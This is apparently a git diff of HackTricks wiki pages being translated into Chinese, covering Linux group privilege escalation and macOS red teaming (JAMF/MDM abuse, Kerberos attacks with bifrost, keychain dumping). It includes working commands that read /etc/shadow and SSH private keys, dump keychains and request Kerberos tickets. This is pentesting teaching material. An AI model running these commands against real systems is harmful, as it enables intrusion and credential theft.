<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
关于yum的更多示例可以在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上找到。
# Executing arbitrary commands via RPM Packages
# 通过RPM包执行任意命令
## Checking the Environment
## 检查环境
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
为了利用这个向量用户必须能够以更高权限的用户执行yum命令即root。
### A working example of this vector
### 这个向量的一个有效示例
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
这个漏洞的有效示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
## Packing an RPM
## 打包RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将反向shell打包到RPM中。
下面的示例创建了一个包含任意脚本的安装前触发器的包该脚本可以由攻击者定义。安装时此包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示但这可以根据需要进行更改。
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,10 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
## **PE - 方法 1**
**有时****默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中你可以找到一些这样的行:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +12,35 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
这意味着 **任何属于 sudo 或 admin 组的用户都可以以 sudo 身份执行任何操作**
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
如果是这种情况,要 **成为 root你只需执行**
```text
sudo su
```
## PE - 方法 2
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
查找所有 suid 二进制文件,并检查是否存在二进制文件 **Pkexec**
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
如果你发现二进制文件 pkexec 是一个 SUID 二进制文件,并且你属于 sudo 或 admin 组,你可能可以使用 pkexec 作为 sudo 执行二进制文件。检查以下内容:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
您将找到哪些组被允许执行 **pkexec**,并且在某些 Linux 中,**默认情况下**可能会出现一些 **sudo 或 admin** 组。
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
**成为 root您可以执行**
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
如果您尝试执行 **pkexec** 并且收到此 **错误**
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +51,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**有时****默认情况下**在 **/etc/sudoers** 文件中可以找到这一行:
```text
%wheel ALL=(ALL:ALL) ALL
```
这意味着 **任何属于 wheel 组的用户都可以以 sudo 身份执行任何操作**
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
如果是这样,要 **成为 root你只需执行**
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
来自 **group shadow** 的用户可以 **读取** **/etc/shadow** 文件:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
所以,阅读文件并尝试**破解一些哈希**。
So, read the file and try to **crack some hashes**.
# 磁盘组
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
这个权限几乎**等同于根访问**,因为您可以访问机器内部的所有数据。
文件:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,70 +83,54 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
请注意,使用 debugfs 你也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,你可以这样做:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
然而,如果你尝试**写入由 root 拥有的文件**(如 `/etc/shadow``/etc/passwd`),你将会遇到“**权限被拒绝**”错误。
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
# 视频组
使用命令 `w` 你可以找到**谁已登录系统**,它将显示如下输出:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
要**打开** **原始图像**,您可以使用**GIMP**,选择**`screen.raw`**文件,并选择文件类型为**原始图像数据**
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
然后将宽度和高度修改为屏幕上使用的值,并检查不同的图像类型(并选择显示屏幕效果更好的那个):
![](../../images/image%20%28295%29.png)
# Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
**检查root成员可以修改哪些文件**
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker 组
# Docker Group
You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
您可以将主机的根文件系统挂载到实例的卷中,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
# lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
[lxc - 权限提升](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,109 +2,98 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## 滥用 MDM
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
如果你成功**获取管理员凭据**以访问管理平台,你可以**潜在地危害所有计算机**,通过在机器上分发恶意软件。
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
在 MacOS 环境中进行红队活动,强烈建议对 MDM 的工作原理有一定了解:
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### 将 MDM 用作 C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
MDM 将有权限安装、查询或删除配置文件,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
为了运行自己的 MDM你需要**你的 CSR 由供应商签名**,你可以尝试通过 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM你可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
然而,要在注册设备上安装应用程序,你仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,所以你现在可以签署任何东西。
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
要将设备注册到 MDM你需要以 root 身份安装一个**`mobileconfig`** 文件,这可以通过**pkg** 文件传递(你可以将其压缩为 zip当从 Safari 下载时会被解压)。
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus** 使用了这种技术。
### Abusing JAMF PRO
### 滥用 JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)、**本地有效载荷**(本地帐户创建、设置 EFI 密码、文件/进程监控...)和**MDM**(设备配置、设备证书...)。
#### JAMF self-enrolment
#### JAMF 自助注册
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
访问 `https://<company-name>.jamfcloud.com/enroll/` 这样的页面,查看他们是否启用了**自助注册**。如果启用了,可能会**要求输入凭据以访问**。
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
你可以使用脚本 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 执行密码喷洒攻击。
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
此外,在找到合适的凭据后,你可能能够使用下一个表单暴力破解其他用户名:
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### JAMF 设备认证
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时是**共享**给每个人的,内容是:**`jk23ucnq91jfu9aj`**。\
此外jamf **持久化**为**LaunchDaemon** **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### JAMF 设备接管
**JSS**Jamf 软件服务器)**URL** 是 **`jamf`** 将使用的,位于 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
该文件基本上包含 URL
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**从而能够滥用JAMF作为C2。
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMF 冒充
#### JAMF Impersonation
为了**冒充设备与 JMF 之间的通信**,你需要:
In order to **impersonate the communication** between a device and JMF you need:
- 设备的 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- **JAMF 密钥链**来自: `/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件 **UUID** 并且**禁用 SIP**,放置 **JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
#### Secrets stealing
#### 秘密窃取
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
你还可以监控位置 `/Library/Application Support/Jamf/tmp/`,以获取管理员可能希望通过 Jamf 执行的 **自定义脚本**,因为它们**在这里放置、执行并移除**。这些脚本**可能包含凭据**。
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
然而,**凭据**可能作为**参数**传递给这些脚本,因此你需要监控 `ps aux | grep -i jamf`(甚至不需要是 root
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
脚本 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 可以监听新文件的添加和新进程参数。
### macOS Remote Access
### macOS 远程访问
And also about **MacOS** "special" **network** **protocols**:
还有关于 **MacOS** "特殊" **网络** **协议**
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
在某些情况下,你会发现 **MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
一些**本地 MacOS 工具**也可能对你有帮助,`dscl`
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
还为MacOS准备了一些工具以自动枚举AD并与kerberos进行交互
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound)MacHound是Bloodhound审计工具的扩展允许在MacOS主机上收集和摄取Active Directory关系。
- [**Bifrost**](https://github.com/its-a-feature/bifrost)Bifrost是一个Objective-C项目旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本机API在macOS设备上进行更好的Kerberos安全测试而无需在目标上要求任何其他框架或软件包。
- [**Orchard**](https://github.com/its-a-feature/Orchard)用于Active Directory枚举的JavaScript自动化JXA工具。
### 域信息
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### 用户
### Users
MacOS 用户有三种类型:
The three types of MacOS users are:
- **本地用户** — 由本地 OpenDirectory 服务管理,与 Active Directory 没有任何连接。
- **网络用户** — 易变的 Active Directory 用户,需要连接到 DC 服务器进行身份验证。
- **移动用户** — 具有本地备份的 Active Directory 用户,用于其凭据和文件。
- **Local Users** — Managed by the local OpenDirectory service, they arent connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
关于用户和组的本地信息存储在文件夹 _/var/db/dslocal/nodes/Default._\
例如,名为 _mark_ 的用户信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_ 中,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_ 中。
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
除了使用 HasSession 和 AdminTo 边缘,**MacHound 向 Bloodhound 数据库添加了三个新边缘**
- **CanSSH** - 允许 SSH 连接到主机的实体
- **CanVNC** - 允许 VNC 连接到主机的实体
- **CanAE** - 允许在主机上执行 AppleEvent 脚本的实体
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
更多信息请访问 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
### Computer$ 密码
使用以下方法获取密码:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
可以在系统钥匙串中访问 **`Computer$`** 密码。
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
获取特定用户和服务的 TGT
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
一旦收集到 TGT就可以通过以下方式将其注入当前会话
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
通过获得的服务票证,可以尝试访问其他计算机上的共享:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## 访问钥匙串
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演习:
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## 外部服务
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多个外部平台集成**。 MacOS 的常见配置是使用 **OneLogin 同步凭据访问计算机,并通过 OneLogin 访问多个外部服务**(如 github, aws...)。
## Misc Red Team techniques
## 其他红队技术
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
当在 Safari 中下载文件时,如果是“安全”文件,它将 **自动打开**。例如,如果你 **下载一个 zip 文件**,它将自动解压缩:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## 参考文献
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- **用户钥匙串** (`~/Library/Keychains/login.keychain-db`),用于存储 **用户特定的凭据**,如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥。
- **系统钥匙串** (`/Library/Keychains/System.keychain`),存储 **系统范围的凭据**,如 WiFi 密码、系统根证书、系统私钥和系统应用程序密码。
- 可以在 `/System/Library/Keychains/*` 中找到其他组件,如证书。
- **iOS** 中只有一个 **钥匙串**,位于 `/private/var/Keychains/`。此文件夹还包含 `TrustStore` 的数据库、证书颁发机构 (`caissuercache`) 和 OSCP 条目 (`ocspache`)。
- 应用程序在钥匙串中的访问将仅限于其基于应用程序标识符的私有区域。
### Password Keychain Access
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
这些文件虽然没有固有的保护并且可以被 **下载**,但它们是加密的,需要 **用户的明文密码进行解密**。可以使用像 [**Chainbreaker**](https://github.com/n0fate/chainbreaker) 这样的工具进行解密。
## Keychain Entries Protections
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
钥匙串中的每个条目都受 **访问控制列表 (ACLs)** 的管理,这些列表规定了谁可以对钥匙串条目执行各种操作,包括:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**:允许持有者获取秘密的明文。
- **ACLAuhtorizationExportWrapped**:允许持有者获取用另一个提供的密码加密的明文。
- **ACLAuhtorizationAny**:允许持有者执行任何操作。
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情况下执行这些操作。可能是:
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`**(不需要授权,**所有人都被信任**
- 一个 **空** 列表(**没有人**被信任)
- **特定应用程序** 的 **列表**
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
条目还可能包含键 **`ACLAuthorizationPartitionID`**,用于识别 **teamid、apple****cdhash**
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- 如果指定了 **teamid**,则为了 **在不提示的情况下访问条目** 值,使用的应用程序必须具有 **相同的 teamid**
- 如果指定了 **apple**,则应用程序需要由 **Apple** 签名。
- 如果指明了 **cdhash**,则 **应用程序** 必须具有特定的 **cdhash**
### Creating a Keychain Entry
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
当使用 **`Keychain Access.app`** 创建 **新** **条目** 时,适用以下规则:
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- 所有应用程序都可以加密。
- **没有应用程序** 可以导出/解密(在不提示用户的情况下)。
- 所有应用程序都可以查看完整性检查。
- 没有应用程序可以更改 ACLs。
- **partitionID** 设置为 **`apple`**。
When an **application creates an entry in the keychain**, the rules are slightly different:
**应用程序在钥匙串中创建条目** 时,规则略有不同:
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- 所有应用程序都可以加密。
- 只有 **创建应用程序**(或任何其他明确添加的应用程序)可以导出/解密(在不提示用户的情况下)。
- 所有应用程序都可以查看完整性检查。
- 没有应用程序可以更改 ACLs。
- **partitionID** 设置为 **`teamid:[teamID here]`**。
## Accessing the Keychain
### `security`
```bash
# List keychains
security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
